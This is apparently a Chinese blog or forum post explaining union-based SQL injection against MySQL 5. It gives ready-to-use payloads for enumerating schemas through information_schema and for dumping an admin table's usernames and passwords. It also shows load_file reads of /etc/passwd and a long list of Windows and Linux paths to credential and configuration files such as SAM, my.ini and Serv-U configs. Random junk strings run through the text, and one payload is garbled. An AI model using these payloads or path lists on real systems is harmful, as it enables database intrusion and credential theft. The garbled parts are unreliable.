mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
4 K! r* T1 t2 Q9 q4 f' }% G9 [( C


Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
/ Y  {5 F! R2 ^明。
1.得到所有数据库名：
/ F5 @, |, I! n; ]1 i2 b|SCHEMATA ->存储数据库名的表
( k, u. q/ r$ P) w|—字段：SCHEMA_NAME ->数据库名称
7 n, d1 q8 N; ^, ~
# i7 T2 L& O% O1 ?$ R7 h1 @|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
  [% d* N- v, i. s0 q: Z7 U|—字段：TABLE_NAME ->存储表的表名
" Z& _# F+ ^5 {/ Y  W
+ G  ~/ m1 o0 K! d" n8 a1 e|COLUMNS ->存储的字段名表
# U, n3 O8 u2 {|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
/ y* z8 l) b4 B4 V3 S; X: g
|—字段：COLUMN_NAME ->该字段的名称

! E; f# ]& c( `3 ?4 }/ \7 P4 N2 L#########################################################################
##
& X2 ^1 ], \. ~( K. ?
0×001 获取系统信息:
( X, M- N; D3 l/ s' O
" o; h2 W' D. _7 I4 e$ cunion select 1,2,3,4,5,concat
8 D4 Z8 c5 ]1 [3 k- f  o(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
" i8 v  E$ H+ V, s. c(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
. g) M% o! Y, v' ~, T3 l
@@global.version_compile_os 获取系统版本
$ u2 M* X5 }" X; q4 c
6 r+ N/ W& Q! E: X3 z7 L@@datadir 数据库路径
database() 当前数据库名称
- S) j- d+ a! z0 Y0x3c62723e 换行HEX值

*/

! N% ~9 h: U# c5 P" i######################################################################

" r3 U" Y7 O: m/ M& v" J# W0×002 获取表名
! _$ h% ?: k! m2 u2 _! ^8 w* E
* ?# h' d: T# g6 u# o2 R8 c. Wunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

( c8 Z1 B' o# d* [7 R, [/*
; v5 O  J7 S9 A: l  a! v1 B
0x67617264656e 为当前数据库名
, ^3 f8 n/ |0 {/ j# B
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

- }/ p. B+ H4 d* G  F) b######################################################################
" I) s6 S# V- R) i
8 P% m# Q  n# K5 g4 e7 p4 n0×003 获取字段
& i$ u' S0 x1 Y0 U- d" {" H+ i1 Q9 W
% D- U8 t" `1 m2 `+ X6 j. junion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
  F( B8 ]4 |9 linformation_schema.columns where table_name=0x61646d696e and

1 ]* ~! T& j7 y
table_schema=0x67617264656e limit 1 /*

/*
7 A& q$ n: E& j1 p: F/ i# h0 G% j
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

  h% x% Q8 M: @$ j% v; [0x61646d696e ->选择一个表
7 Z: z+ T; m" u; P3 j$ j
0x67617264656e ->数据库名

; @' }+ [: G4 }) z*/

#####################################################################

& }# R6 D: g: n$ G; y0×004 获取数据

. w3 b  P% ]- l" B0 v" kunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
2 t9 _! B4 _* m1 g( X+ K
5 j+ q% H; j2 g6 [) \% Lunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
+ Y7 J% Q3 Y+ b3 h) X; C1 M(adpassword),6,7,8 from admin
5 ~; q  L; x" ~  b% B' O
/*

# J! X4 c6 p% U9 ?1 t0 Y0x3c62723e 换行符号HEX编码

7 ]# U! Z0 F5 v& B0 V5 Mgroup_concat 同时获得该字段所有数据

' {. W" f! w! E8 z* f( [*/
, g! }+ U; G# c. i: a# M! E

* a& V" C* t1 b, J  S4 c0 {
' A1 @. Y( X9 Q2 j# K: ^( X

, t' D2 m5 |$ a0 L  X# q7 U顺便添加一些mysql注入时非常有用的一些东西
) W' x( C( y* U( X% W9 G
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
. Y. A5 g4 f. f/ c, V
$ p  f- n" W! a1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
5 p7 {8 I3 [6 a5 A8 b. z4:session_user()连接数据库的用户名
, t$ Y0 V( ], R- r. x$ w5:database()    数据库名
6:version()     MYSQL数据库版本
  a! D7 L" S' j3 P( m7:load_file()   MYSQL读取本地文件的函数
, U& W* j0 Y" V- @% b. i7 G8@datadir     读取数据库路径
) l" C- \! K9 c) Y9@basedir    MYSQL 安装路径
* k) U! \$ M& d' J1 T0 q10@version_compile_os   操作系统  Windows Server 2003,
7 r* v  C  R% T! h9 \+ W收集的一些路径：
7 j( p6 W8 ^2 s. WWINDOWS下:
1 m/ Y' {7 V4 w, j0 W! Yc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
* c* W. q% C! Z  F# sc:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
+ B% T- v% T$ q! Tc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
$ d( d6 M3 o) A4 rc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
& ]( f9 S9 b0 E0 }, sc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
9 z% C9 d. A( T  Q* P//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
; y1 f3 S4 z  M9 u" G/ g' j6 Xc:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
  K5 X! E3 u! }1 N: {" c2 \

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
) k& f9 s% B: `3 VC:\Program Files\mysql\my.ini
; Y6 V' L# U0 m. V2 X: n, k4 ^% gc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

; T5 M. Q6 H  N; J8 ~% ]0 @0 D8 ULUNIX/UNIX下:
" a0 \& x. a, P- z+ F  P* u: w7 q/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/ D" |1 f7 L/ w6 [% n/usr/local/apache2/conf/httpd.conf
( [9 {6 Y0 r( o- S. i/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
( o5 ~# g9 j9 K  z+ s7 p/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
& [: m$ U" h1 d8 t, A/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
9 u- L3 w; f- F5 E. R) n! y/etc/my.cnf //mysql的配置文件
  g7 s; S' U) P' b2 M/etc/redhat-release //系统版本
/ X# Q6 q$ J' _$ T/ r; k+ M1 L/etc/issue
' i0 i$ w+ E- H) C3 M; g+ |, M: o/etc/issue.net
3 S7 T' }* D3 O/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
0 A9 k% U3 P! D, f3 N/ {3 R# i/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
8 a( n: c' S9 y( w/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
! B5 B- [$ V& r) H1 S2 M/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
' j( C9 H- {7 F" p& Y9 m: C* P/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
# c* d* Q" L, ^" K- z+ @/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
* S- Y! e/ O5 M2 l- ^1 _7 x2 r
0 R& z" l5 a  O9 S